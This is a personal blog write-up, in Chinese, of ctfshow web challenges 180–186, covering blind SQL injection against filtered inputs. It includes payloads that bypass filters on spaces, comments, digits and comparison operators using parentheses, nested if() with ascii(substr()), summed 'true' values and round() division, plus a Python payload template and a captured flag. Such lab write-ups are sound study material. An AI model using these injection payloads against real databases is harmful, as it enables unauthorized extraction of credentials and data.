ctfshow刷题记录

web入门180:

这处过滤了#,/**/,%00,%a0,– ,空格,

image-20201115120454526

注释都过滤了,还有空格。

我们可以构造 a’or(id>?)||’1’=’0 来达到目的。

第一个引号闭合之前的,不能用空格就用(),其中||是或的意思,但是我查了好久,网上说是连接符。

这样就可以达到闭合后面的 ‘ ,因为有limit 1所以要一个一个尝试,尝试一下23发现有flag.

flag{1f9a4c19-c8ab-4319-923d-6febe6199368}

web入门181:

和180一样,

web入门182:

和180一样,

web入门183:

image-20201117120422219

image-20201117120511404

不过你可以改43到127为flag的穷举形式,我难得改了。

web入门184:

image-20201117125357965

image-20201117160630571

构造playload:tableName=ctfshow_user a join ctfshow_user b on if(b.id>23,if(a.id>23,if(ascii(substr(b.pass,1,1))>102,1,0),0),0)

取别名a,b然后发现and or被禁用了,但是我们可以用if语句达到相同的效果。

web入门185:

他把数字禁掉了,就很过分。但是我们也有办法,就是用true和false代替,我不知道其他大佬是怎么写的,我感觉我的方法有一点low。把payload对应的数换成对应的true相加。

web入门186:

他把大于号,小于号禁用了,但是我们可以用round(x/2y)来判断x和y 是否相等,其实不用round也行,这个是四舍五入,于是人为的比较了大小。一下是payload

payload = {‘tableName’: ‘’’ctfshow_user a join ctfshow_user b on if(round(b.id/%s),if(round(a.id/%s),if(round(ascii(substr(b.pass,%s,true))/%s),true,false),false),false)’’’ % (‘(‘+’true+’*44+’true)’,’(‘+’true+’*44+’true)’, ‘(‘+’true+’*(j-1)+’true)’, ‘(‘+’true+’*(2*i-1)+’true)’)}

image-20201118201850010

得到flagimage-20201118202058924

记得结果要i-1.

Donate
  • Copyright: Copyright is owned by the author. For commercial reprints, please contact the author for authorization. For non-commercial reprints, please indicate the source.

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2015-2021 饶瑞军
  • Visitors: | Views:

请我喝杯咖啡吧~

支付宝
微信